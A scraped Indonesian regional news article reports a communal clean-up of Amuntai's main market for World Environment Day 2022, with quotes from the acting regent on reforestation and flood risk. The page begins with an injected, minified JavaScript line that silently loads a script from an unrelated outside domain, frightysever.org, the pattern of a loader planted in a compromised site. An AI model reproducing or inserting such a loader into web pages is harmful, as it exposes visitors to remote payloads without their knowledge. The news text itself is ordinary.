(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Aksi gotong royong bersih-bersih kawasan Pasar Induk Amuntai menjadi simbol peringatan Hari Lingkungan Hidup Sedunia 2022 yang digelar, Jumat (15/7/2022).
Kegiatan diikuti seluruh SKPD di lingkungan Pemkab HSU, Polres, Kodim 1001/HSU-BLG, organisasi masyarakat dan remaja. Juga dilaksanakan penyerahan bantuan jaminan kesehatan kepada petugas kebersihan, penyerahan bak sampah, serta bantuan satu unit kendaraan roda tiga pengangkut sampah.
Pelaksana Tugas (Plt) Bupati HSU, Husairi Abdi menuturkan, aksi bersih-bersih ini tentunya menjadi manifestasi dari komitmen bersama dalam menuntuskan salah satu tujuan program revolusi hijau, yaitu rehabilitasi hutan dan lahan.
Selain meningkatkan pengelolaan dan pemanfaatan sumber daya alam dan lahan secara optimal, menjaga kelestarian serta keseimbangan ekosistem daerah aliran sungai di Kabupaten HSU.
Baca juga : Anggarkan Rp 2 Miliar, Pemkab HSU Bakal Revitalisasi Pasar Induk Amuntai
“Karena kerusakan ekosistem selalu berdampak buruk bagi lingkungan. Kita sudah merasakan bagaimana dampak dari kebakaran hutan dan lahan sepanjang musim kemarau ini,” kata Husairi.
Adapun potensi bencana banjir dan tanah longsor juga menjadi ancaman yang serius saat musim penghujan. Ia mengatakan, selain berdampak langsung pada warga juga menimbulkan dampak kerusakan lingkungan.
“Tentunya kondisi ini sangat merugikan, karena pada dasarnya aktivitas sosial dan ekonomi warga dan lingkungan saling bergantung satu sama lain,” imbuhnya.
Husairi menambahkan, keberhasilan aksi ini bergantung pada partisipasi seluruh pihak, mulai dari pemerintah daerah, kecamatan, desa, dunia usaha, lembaga swadaya masyarakat, para aktivis dan seluruh masyarakat HSU.
Baca juga : Sambut HUT Kodam VI/Mulawarman ke-64, Kodim 1001/HSU-BLG Ziarah ke Taman Makam Pahlawan
Dirinya mengajak seluruh masyarakat HSU untuk turut berpartisipasi dalam program revolusi hijau melalui gerakan menanam pohon.
“Kegiatan menanam, merawat dan memelihara pohon bisa diikuti oleh siapa saja dan dimana saja,” pungkasnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.